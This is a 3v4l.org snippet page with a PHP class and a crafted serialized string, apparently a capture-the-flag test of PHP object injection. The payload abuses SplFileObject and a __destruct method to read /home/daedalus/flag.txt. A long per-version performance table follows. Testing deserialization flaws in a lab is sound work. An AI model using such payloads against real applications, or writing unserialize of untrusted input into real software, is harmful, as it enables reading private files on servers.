3v4l.org

run code in 300+ PHP versions simultaneously
<?php class Post { protected $title; protected $text; protected $filters; function __construct($title, $text, $filters) { $this->title = $title; $this->text = $text; $this->filters = $filters; } function get_title() { return htmlspecialchars($this->title); } function display_post() { $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); return $text; } function __destruct() { // debugging stuff $s = "<!-- POST " . htmlspecialchars($this->title); $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); $s = $s . ": " . $text; $s = $s . " -->"; echo $s; } }; echo unserialize('O:4:"Post":3:{s:8:"*title";s:19:"huehuehue i repor u";s:7:"*text";O:13:"SplFileObject":12:{s:24:"SplFileObjectdelimiter";s:1:",";s:24:"SplFileObjectenclosure";s:1:""";s:21:"SplFileObjectescape";s:1:"\";s:20:"SplFileObjectflags";N;s:23:"SplFileObjectfilename";s:23:"/home/daedalus/flag.txt";s:25:"SplFileObjectmaxLineLen";i:0;s:29:"SplFileObjectcurrentLineNum";i:0;s:19:"SplFileObjectrsrc";b:0;s:26:"SplFileObjectcurrentLine";b:0;s:21:"SplFileInfofileName";s:23:"/home/daedalus/flag.txt";s:22:"SplFileInfofileClass";s:13:"SplFileObject";s:22:"SplFileInfoinfoClass";N;}s:10:"*filters";a:0:{}}');

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00318.55
8.3.50.0150.00521.14
8.3.40.0150.00018.47
8.3.30.0000.01418.92
8.3.20.0040.00420.16
8.3.10.0040.00423.53
8.3.00.0030.00619.26
8.2.180.0060.00916.50
8.2.170.0090.00622.96
8.2.160.0070.01020.60
8.2.150.0080.00024.18
8.2.140.0050.00324.66
8.2.130.0000.00826.16
8.2.120.0040.00422.12
8.2.110.0060.00321.09
8.2.100.0120.00317.75
8.2.90.0040.00419.09
8.2.80.0050.00317.97
8.2.70.0080.00017.50
8.2.60.0040.00417.80
8.2.50.0060.00318.07
8.2.40.0040.00419.82
8.2.30.0040.00418.08
8.2.20.0020.00517.83
8.2.10.0040.00418.10
8.2.00.0000.00817.88
8.1.280.0110.00425.92
8.1.270.0040.00423.82
8.1.260.0050.00326.35
8.1.250.0000.00828.09
8.1.240.0060.00323.88
8.1.230.0060.00617.42
8.1.220.0080.00017.74
8.1.210.0060.00318.77
8.1.200.0000.00817.35
8.1.190.0000.00817.13
8.1.180.0050.00318.10
8.1.170.0090.00018.64
8.1.160.0030.00521.91
8.1.150.0000.00918.84
8.1.140.0040.00417.48
8.1.130.0040.00417.72
8.1.120.0000.00717.54
8.1.110.0050.00317.36
8.1.100.0000.00817.53
8.1.90.0050.00217.46
8.1.80.0020.00517.54
8.1.70.0000.00717.44
8.1.60.0030.00617.49
8.1.50.0000.00817.54
8.1.40.0080.00017.53
8.1.30.0050.00317.66
8.1.20.0000.00817.51
8.1.10.0020.00517.48
8.1.00.0000.00817.54
8.0.300.0080.00018.77
8.0.290.0000.00816.75
8.0.280.0000.00718.38
8.0.270.0070.00017.21
8.0.260.0000.00617.28
8.0.250.0000.00716.95
8.0.240.0000.00717.03
8.0.230.0030.00316.92
8.0.220.0000.00817.02
8.0.210.0030.00316.87
8.0.200.0040.00417.06
8.0.190.0070.00017.04
8.0.180.0040.00417.02
8.0.170.0000.00816.90
8.0.160.0050.00217.11
8.0.150.0070.00016.83
8.0.140.0000.00816.80
8.0.130.0030.00313.44
8.0.120.0070.00016.94
8.0.110.0000.00816.94
8.0.100.0040.00416.85
8.0.90.0000.00716.85
8.0.80.0120.00316.97
8.0.70.0030.00616.95
8.0.60.0040.00416.87
8.0.50.0080.00016.85
8.0.30.0100.00817.13
8.0.20.0150.00317.40
8.0.10.0090.00017.13
8.0.00.0090.01016.87
7.4.330.0020.00215.09
7.4.320.0000.00616.54
7.4.300.0070.00016.52
7.4.290.0000.00716.53
7.4.280.0050.00316.57
7.4.270.0030.00316.50
7.4.260.0080.00016.51
7.4.250.0040.00416.52
7.4.240.0040.00316.61
7.4.230.0070.00016.74
7.4.220.0150.00916.45
7.4.210.0040.01116.63
7.4.200.0070.00016.35
7.4.160.0100.00616.50
7.4.150.0130.01317.40
7.4.140.0130.00617.86
7.4.130.0130.00316.64
7.4.120.0080.01216.41
7.4.110.0100.00716.61
7.4.100.0070.01016.68
7.4.90.0060.01216.59
7.4.80.0090.00919.39
7.4.70.0090.00916.59
7.4.60.0120.00616.65
7.4.50.0030.00516.48
7.4.40.0120.00616.57
7.4.30.0060.01516.59
7.4.00.0030.01415.02
7.3.330.0030.00213.25
7.3.320.0020.00213.39
7.3.310.0030.00316.29
7.3.300.0070.00016.44
7.3.290.0080.00716.38
7.3.280.0090.00816.42
7.3.270.0150.00617.40
7.3.260.0140.00416.63
7.3.250.0080.01216.51
7.3.240.0110.00616.55
7.3.230.0100.00716.41
7.3.210.0070.01016.70
7.3.200.0070.01519.39
7.3.190.0100.00716.45
7.3.180.0080.00816.64
7.3.170.0030.01616.49
7.3.160.0090.00616.50
7.2.330.0070.01316.66
7.2.320.0040.01316.57
7.2.310.0070.01116.80
7.2.300.0090.00916.70
7.2.290.0100.00716.64
7.2.60.0120.00316.80
7.2.00.0040.00819.53
7.1.200.0170.00815.48
7.1.100.0190.00318.00
7.1.70.0000.00917.33
7.1.60.0030.02019.11
7.1.50.0250.00934.95
7.1.00.0000.08022.33
7.0.200.0030.00616.66
7.0.140.0030.07021.92
7.0.80.0530.07019.95
7.0.70.0430.04719.93
7.0.60.0500.04719.98
7.0.50.0430.05320.16
7.0.40.0100.08320.14
7.0.30.0100.06720.09
7.0.20.0100.07720.09
7.0.10.0100.08020.14
7.0.00.0130.07720.07
5.6.280.0030.07321.05
5.6.230.0100.07720.57
5.6.220.0000.04720.68
5.6.210.0100.06720.63
5.6.200.0070.05721.07
5.6.190.0100.04321.02
5.6.180.0170.07321.09
5.6.170.0130.08020.96
5.6.160.0070.08021.11
5.6.150.0070.08721.08
5.6.140.0070.08021.09
5.6.130.0130.08021.02
5.6.120.0130.08021.14
5.6.110.0070.05021.11
5.6.100.0230.06721.10
5.6.90.0100.06021.10
5.6.80.0170.05020.32
5.6.70.0100.07320.40
5.6.60.0000.05320.55
5.6.50.0030.05320.37
5.6.40.0070.04320.50
5.6.30.0070.04320.32
5.6.20.0070.04020.31
5.6.10.0000.04320.53
5.6.00.0100.04020.48
5.5.370.0030.04320.40
5.5.360.0030.08320.41
5.5.350.0030.07720.45
5.5.340.0030.08720.84
5.5.330.0030.04320.87
5.5.320.0070.06020.92
5.5.310.0070.08020.76
5.5.300.0100.04320.89
5.5.290.0070.05720.79
5.5.280.0030.05320.93
5.5.270.0100.04020.76
5.5.260.0100.04720.79
5.5.250.0130.04320.55
5.5.240.0130.05720.23
5.5.230.0000.06720.26
5.5.220.0200.06320.29
5.5.210.0100.06720.27
5.5.200.0130.04320.24
5.5.190.0000.07320.29
5.5.180.0100.08020.19
5.5.160.0100.04020.29
5.5.150.0000.08020.18
5.5.140.0030.05720.13
5.5.130.0100.07320.14
5.5.120.0030.05020.27
5.5.110.0030.06720.26
5.5.100.0230.06320.17
5.5.90.0030.05020.12
5.5.80.0070.05020.06
5.5.70.0100.04320.04
5.5.60.0030.06020.07
5.5.50.0100.03320.06
5.5.40.0100.06719.95
5.5.30.0030.06020.06
5.5.20.0070.07320.04
5.5.10.0070.06320.09
5.5.00.0170.04720.03
5.4.450.0100.07319.54
5.4.440.0100.04019.48
5.4.430.0130.05019.48
5.4.420.0070.07719.50
5.4.410.0000.08319.29
5.4.400.0070.08019.04
5.4.390.0000.08719.05
5.4.380.0030.08319.03
5.4.370.0100.07319.09
5.4.360.0130.07018.88
5.4.350.0130.06019.13
5.4.340.0030.05018.95
5.4.320.0070.07318.90
5.4.310.0000.04719.18
5.4.300.0070.07718.88
5.4.290.0200.06719.03
5.4.280.0130.06319.09
5.4.270.0030.04719.18
5.4.260.0000.07319.12
5.4.250.0070.07719.02
5.4.240.0100.07319.15
5.4.230.0100.06019.04
5.4.220.0130.06719.15
5.4.210.0000.08319.09
5.4.200.0000.08319.02
5.4.190.0130.06719.22
5.4.180.0070.06319.13
5.4.170.0100.04319.12
5.4.160.0030.04719.12
5.4.150.0070.03719.10
5.4.140.0100.03316.44
5.4.130.0100.04016.41
5.4.120.0000.04316.32
5.4.110.0130.07016.36
5.4.100.0070.05316.50
5.4.90.0200.06016.47
5.4.80.0030.06716.46
5.4.70.0030.06016.47
5.4.60.0030.08016.37
5.4.50.0030.06316.36
5.4.40.0000.04016.37
5.4.30.0100.03716.29
5.4.20.0100.04716.25
5.4.10.0030.03716.45
5.4.00.0030.04715.86
5.3.290.0070.08014.68
5.3.280.0000.04714.59
5.3.270.0130.07314.55
5.3.260.0000.07014.54
5.3.250.0300.05714.71
5.3.240.0100.07014.60
5.3.230.0070.07014.59
5.3.220.0130.07014.69
5.3.210.0070.07314.67
5.3.200.0170.05714.58
5.3.190.0070.04014.64
5.3.180.0000.04014.58
5.3.170.0030.04714.51
5.3.160.0030.07714.64
5.3.150.0030.08014.50
5.3.140.0030.03714.53
5.3.130.0100.04314.59
5.3.120.0000.03714.63
5.3.110.0070.05014.54
5.3.100.0030.04014.20
5.3.90.0000.04314.10
5.3.80.0100.07014.08
5.3.70.0130.07014.17
5.3.60.0070.07314.00
5.3.50.0030.06714.07
5.3.40.0070.06714.09
5.3.30.0070.06314.03
5.3.20.0100.06313.63
5.3.10.0070.03713.72
5.3.00.0070.03313.59
5.2.170.0170.05013.54
5.2.160.0100.05713.54
5.2.150.0030.06713.54
5.2.140.0100.05013.54
5.2.130.0000.05013.54
5.2.120.0000.04713.54
5.2.110.0000.03313.54
5.2.100.0070.03013.54
5.2.90.0000.05013.54
5.2.80.0030.06313.54
5.2.70.0070.05713.54
5.2.60.0130.05713.54
5.2.50.0000.04713.54
5.2.40.0030.04713.54
5.2.30.0100.05713.54
5.2.20.0000.05313.54
5.2.10.0070.05713.54
5.2.00.0070.03713.54
5.1.60.0030.06013.54
5.1.50.0070.02713.54
5.1.40.0030.05013.54
5.1.30.0100.04013.54
5.1.20.0030.05713.54
5.1.10.0070.05013.54
5.1.00.0070.05313.54
5.0.50.0000.05013.54
5.0.40.0030.04713.54
5.0.30.0000.06713.54
5.0.20.0030.04013.54
5.0.10.0030.04313.54
5.0.00.0100.06313.54
4.4.90.0030.03313.54
4.4.80.0070.03013.54
4.4.70.0000.02313.54
4.4.60.0000.02013.54
4.4.50.0030.03313.54
4.4.40.0000.05013.54
4.4.30.0000.03713.54
4.4.20.0070.03013.54
4.4.10.0000.02713.54
4.4.00.0030.04713.54
4.3.110.0000.03013.54
4.3.100.0000.03713.54
4.3.90.0030.03313.54
4.3.80.0030.04713.54
4.3.70.0030.03313.54
4.3.60.0030.03013.54
4.3.50.0070.02713.54
4.3.40.0070.04713.54
4.3.30.0000.03713.54
4.3.20.0030.03313.54
4.3.10.0130.02013.54
4.3.00.0000.03713.54

preferences:
45.8 ms | 401 KiB | 5 Q